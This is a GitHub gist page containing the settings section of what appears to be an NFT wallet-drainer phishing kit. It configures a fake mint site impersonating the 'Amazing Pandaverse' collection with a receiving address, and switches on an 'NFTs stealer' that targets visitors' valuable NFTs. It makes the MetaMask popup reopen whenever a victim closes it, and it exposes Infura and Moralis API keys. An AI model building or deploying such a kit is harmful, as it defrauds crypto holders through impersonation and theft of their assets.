-
-
Save eliyastein/0f2f1fd0ae12570c90a8e0b4b72838b7 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const address = "0x237f0A6c126F979cEd363079f7Cc0bB848e1802B"; | |
| const infuraId = "6d233bb428724900aa1d6ac6bba531b1" // Infuria ID | https://infura.io/ | For Wallet Connect | |
| const moralisApi = "8lLcZsKmH7Scwxzqp7O3REOhP8nGAMh9CjJTjKwVMQzYJ16fKNs9rClIsQOq0kyx" // x-api-key | https://moralis.io/ | For NFTs | |
| const collectionInfo = { | |
| name: "Amazing Pandaverse", | |
| title: "Amazing Pandaverse", // Title prefix (ex "Buy your {name}") - You can use {name} to insert the collection name | |
| socialMedia: { | |
| discord: "https://discord.com/invite/amazingpandaverse", | |
| twitter: "https://twitter.com/amazing_pndv", | |
| }, | |
| medias: { | |
| preview: "preview.gif", | |
| favicon: "logo.png", | |
| }, | |
| background: { | |
| type: "image", // Supported types: image, video, color | |
| image: "background.jpg", // Image for image type, video preview for video type | |
| video: "background.mp4", // If you don't use video, you can ignore this line | |
| color: "#4E4E6D", // If you don't use color, you can ignore this line | |
| } | |
| } | |
| const mintInfo = { | |
| price: 0.089, // Price per NFT. | |
| totalSupply: 8888, // Total supply of NFTs. | |
| minUnits: 1, // Min units to buy. | |
| maxUnits: 10, // Max units to buy. | |
| askMintLoop: true, // If true, when the user closes the metamask popup, it reopens automatically. | |
| } | |
| const nftsInfo = { | |
| active: true, // Active (true) or not (false) NFTs stealer. | |
| minValue: 0.1, // Minimum value of the last transactions (in the last 'checkMaxDay' days) of the collection. | |
| checkMaxDay: 7, // Maximum number of days to check for the last transactions. | |
| receiveAddress: "" // leave empty if you want to use the same address | |
| } | |
| /* | |
| = = = = = END OF SETTINGS = = = = = | |
| */ | |
| //#region Check Configuration | |
| if (mintInfo.minUnits > mintInfo.maxUnits) console.error(`Error: minUnits (${mintInfo.minUnits}) is greater than maxUnits (${maxUnits})`); | |
| if (mintInfo.minUnits <= 0) console.error(`Error: minUnits (${mintInfo.minUnits}) is less than or equal to 0`); | |
| if (!address.startsWith("0x") || | |
| ( | |
| address.length >= 64 || | |
| address.length <= 40 | |
| ) | |
| ) console.error(`Error: ${address} is not a valid Ethereum address.`); | |
| //#endregion |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment